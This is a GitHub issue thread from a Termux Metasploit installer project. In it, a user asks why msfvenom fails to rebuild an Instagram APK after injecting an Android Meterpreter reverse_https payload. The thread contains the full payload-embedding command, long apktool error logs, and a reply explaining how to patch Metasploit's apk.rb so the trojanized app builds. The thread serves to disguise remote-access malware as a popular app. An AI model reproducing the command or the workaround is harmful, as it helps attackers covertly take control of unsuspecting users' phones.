gushmazuko / metasploit_in_termux

Install Metasploit Framework 6 in Termux
MIT License
1.59k stars 262 forks source link

Embend Error(Merging two apk) #275

Closed Karthi02116K closed 6 months ago

Karthi02116K commented 6 months ago

When I try to call msfvenom for "msfvenom -x Instagram.apk -p android/meterpreter/reverse_https LHOST=localhost LPORT=9876" It's show this error,and I also bold The Error messages

Can help me please

I: Smaling smali_classes6 folder into classes6.dex... I: Checking whether resources has changed... I: Building resources... brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/data/data/com.termux/files/usr/tmp/brut_util_Jar_58159581705938806621375338088680060957.tmp, compile, --dir, /data/data/com.termux/files/usr/tmp/d20240424-5218-avq812/original/res, --legacy, -o, /data/data/com.termux/files/usr/tmp/d20240424-5218-avq812/original/build/resources.zip] W: /data/data/com.termux/files/usr/tmp/brut_util_Jar_58159581705938806621375338088680060957.tmp[235]: _syntax_ error: unexpected '(' [*] Unable to rebuild apk. Trying rebuild with AAPT2.. [-] I: Using Apktool 2.9.3 I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether sources has changed... I: Checking whether resources has changed... I: Building resources... brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/data/data/com.termux/files/usr/tmp/brut_util_Jar47824622988290943071271749801106405940.tmp, compile, --dir, /data/data/com.termux/files/usr/tmp/d20240424-5218-avq812/original/res, --legacy, -o, /data/data/com.termux/files/usr/tmp/d20240424-5218-avq812/original/build/resources.zip] W: **/data/data/com.termux/files/usr/tmp/brut_util_Jar47824622988290943071271749801106405940.tmp[235]: syntax error: unexpected '(' Error: Unable to rebuild apk with apktool.**

Rdxcj commented 6 months ago

@Karthi02116K looks like you have to open issue in metasploit not here i guess, or do it manually with ApkEditor

Karthi02116K commented 6 months ago

@Karthi02116K looks like you have to open issue in metasploit not here i guess, or do it manually with ApkEditor

Yes,I also try it,but not working What I have to do next

And try with many apps,but showing "unable to rebuild, syntax error: unexpected '(' "

ExelentHA1 commented 6 months ago

I have this issue last month. Apparently there's a bug when rebuilding an apk using the latest apktool, its ok when decompiling an apk not when rebuilding. You can use the termux patched apktool, and modify the apk.rb so that when rebuilding an apk, the termux one is the one rebuilding.

The "apktool" is the latest version. The "apktoolmsf" is the termux patched

Screenshot_2024_0503_234220

Modifying the apk.rb file: $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb

Screenshot_2024_0503_234406

Then. I think your done...

Screenshot_2024_0503_234702

This is how I did. Idk if there's any problem when doing it like this, but i haven't encounter an issue so far.. I hope it helps